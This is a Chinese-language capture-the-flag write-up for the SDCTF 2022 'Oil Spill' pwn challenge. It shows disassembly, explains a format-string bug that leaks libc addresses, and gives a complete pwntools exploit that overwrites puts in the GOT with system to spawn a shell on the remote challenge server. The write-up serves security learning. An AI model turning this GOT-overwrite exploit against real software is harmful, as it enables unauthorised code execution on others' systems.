SDCTF 2022 Oil Spill

Uncategorized
4.3k words

checksec

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

开启了Canary和堆栈不可执行

main

                push    rbp
.text:000000000040068B                 mov     rbp, rsp
.text:000000000040068E                 sub     rsp, 150h
.text:0000000000400695                 mov     [rbp+var_144], edi
.text:000000000040069B                 mov     [rbp+var_150], rsi
.text:00000000004006A2                 mov     rax, fs:28h
.text:00000000004006AB                 mov     [rbp+var_8], rax
.text:00000000004006AF                 xor     eax, eax
.text:00000000004006B1                 lea     rax, [rbp+s]
.text:00000000004006B8                 lea     r8, temp
.text:00000000004006BF                 mov     rcx, rax
.text:00000000004006C2                 mov     rax, cs:printf_ptr
.text:00000000004006C9                 mov     rdx, rax
.text:00000000004006CC                 mov     rax, cs:puts_ptr
.text:00000000004006D3                 mov     rsi, rax
.text:00000000004006D6                 lea     rdi, format     ; "%p, %p, %p, %p\n"
.text:00000000004006DD                 mov     eax, 0
.text:00000000004006E2                 call    printf
.text:00000000004006E7                 lea     rdi, aOhNoWeSpilledO ; "Oh no! We spilled oil everywhere and it"...
.text:00000000004006EE                 call    puts
.text:00000000004006F3                 lea     rdi, aDoYouHaveAnyId ; "do you have any ideas of what we can us"...
.text:00000000004006FA                 call    puts
.text:00000000004006FF                 mov     rax, cs:stdout@@GLIBC_2_2_5
.text:0000000000400706                 mov     rdi, rax        ; stream
.text:0000000000400709                 call    _fflush
.text:000000000040070E                 mov     rdx, cs:stdin@@GLIBC_2_2_5 ; stream
.text:0000000000400715                 lea     rax, [rbp+s]
.text:000000000040071C                 mov     esi, 12Ch       ; n
.text:0000000000400721                 mov     rdi, rax        ; s
.text:0000000000400724                 call    _fgets
.text:0000000000400729                 lea     rax, [rbp+s]
.text:0000000000400730                 mov     rdi, rax        ; format
.text:0000000000400733                 mov     eax, 0
.text:0000000000400738                 call    printf
.text:000000000040073D                 lea     rdi, x          ; "Interesting Proposition"
.text:0000000000400744                 call    puts
.text:0000000000400749                 mov     rax, cs:stdout@@GLIBC_2_2_5
.text:0000000000400750                 mov     rdi, rax        ; stream
.text:0000000000400753                 call    _fflush
.text:0000000000400758                 mov     eax, 0
.text:000000000040075D                 mov     rcx, [rbp+var_8]
.text:0000000000400761                 xor     rcx, fs:28h
.text:000000000040076A                 jz      short locret_400771
.text:000000000040076C                 call    ___stack_chk_fail
.text:0000000000400771 ; ---------------------------------------------------------------------------
.text:0000000000400771
.text:0000000000400771 locret_400771:                          ; CODE XREF: main+E0↑j
.text:0000000000400771                 leave
.text:0000000000400772                 retn
.text:0000000000400772 ; } // starts at 40068A
.text:0000000000400772 main            endp
.text:0000000000400772
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[312]; // [rsp+10h] [rbp-140h] BYREF
  unsigned __int64 v5; // [rsp+148h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("%p, %p, %p, %p\n", &puts, &printf, s, temp);
  puts("Oh no! We spilled oil everywhere and its making everything dirty");
  puts("do you have any ideas of what we can use to clean it?");
  fflush(stdout);
  fgets(s, 300, stdin);
  printf(s);
  puts(x);
  fflush(stdout);
  return 0;
}

Analyze

程序运行输出puts,printf的地址

0x7f699d578420, 0x7f699d555c90, 0x7ffc3135dea0, 0x400677
Oh no! We spilled oil everywhere and its making everything dirty
do you have any ideas of what we can use to clean it?

由于提示说本题是18.04,所以不需要用LibcSearcher来找libc~我就是这样的傻X~,只不过如果libc小版本对应不上的话还是需要glibc-all-in-one

接收puts,printf地址后就可以泄露libc基址了

接着程序

fgets(s, 300, stdin);
printf(s);

有format string漏洞,且偏移为8

同时

puts(x);

可以利用fmtstr_payload将puts的got表地址替换成system,里面的x替换成b'/bin/sh\x00

{elf.got['puts']:system,0x600c80:b'/bin/sh\x00'}
#fmtstr_payload中需要替换多个值时,用逗号连接,这个是我当时不知道的地方,还搞成dict了

这样当程序执行到puts(x)时实际会执行system("/bin/sh\x00"),getshell

exp

'''
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
'''
from pwn import *
# from LibcSearcher import *
context(os = "linux" , arch = "amd64" , log_level = "debug")
host = "1.14.71.254"
port = 28620
local = int(input("0 for remote , 1 for local:\t"))
if local == 0:
    io = remote(host , port)
elif local == 1:
    io = process("/mnt/c/Users/M1sceden4/Desktop/OilSpill")

elf = ELF("/mnt/c/Users/M1sceden4/Desktop/OilSpill")
# libc = ELF("/home/m1sceden4/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so")
libc = elf.libc

data1 = io.recv(14)
io.recvuntil(", ")
data2 = io.recv(14)
io.recvuntil(", ")
data3 = io.recv(14)
io.recvuntil(", ")
data4 = io.recv(8)
success("data1 -> %s" % data1)
success("data2 -> %s" % data2)
success("data3 -> %s" % data3)
success("data4 -> %s" % data4)
# pause()

puts_addr = int(data1 , 16)
# libc = LibcSearcher('puts' , puts_addr)

libc_base = int(data2 , 16) - libc.sym['printf']
# libc_base = libc.dump("puts") - puts_addr
success("leak libc base -> %s" % hex(libc_base))

system = libc_base + libc.sym['system']
# system = libc_base + libc.dump("system")
io.recvuntil("it?\n")
payload = fmtstr_payload(8 , {elf.got['puts']:system,0x600c80:b'/bin/sh\x00'})
io.sendline(payload)

io.interactive()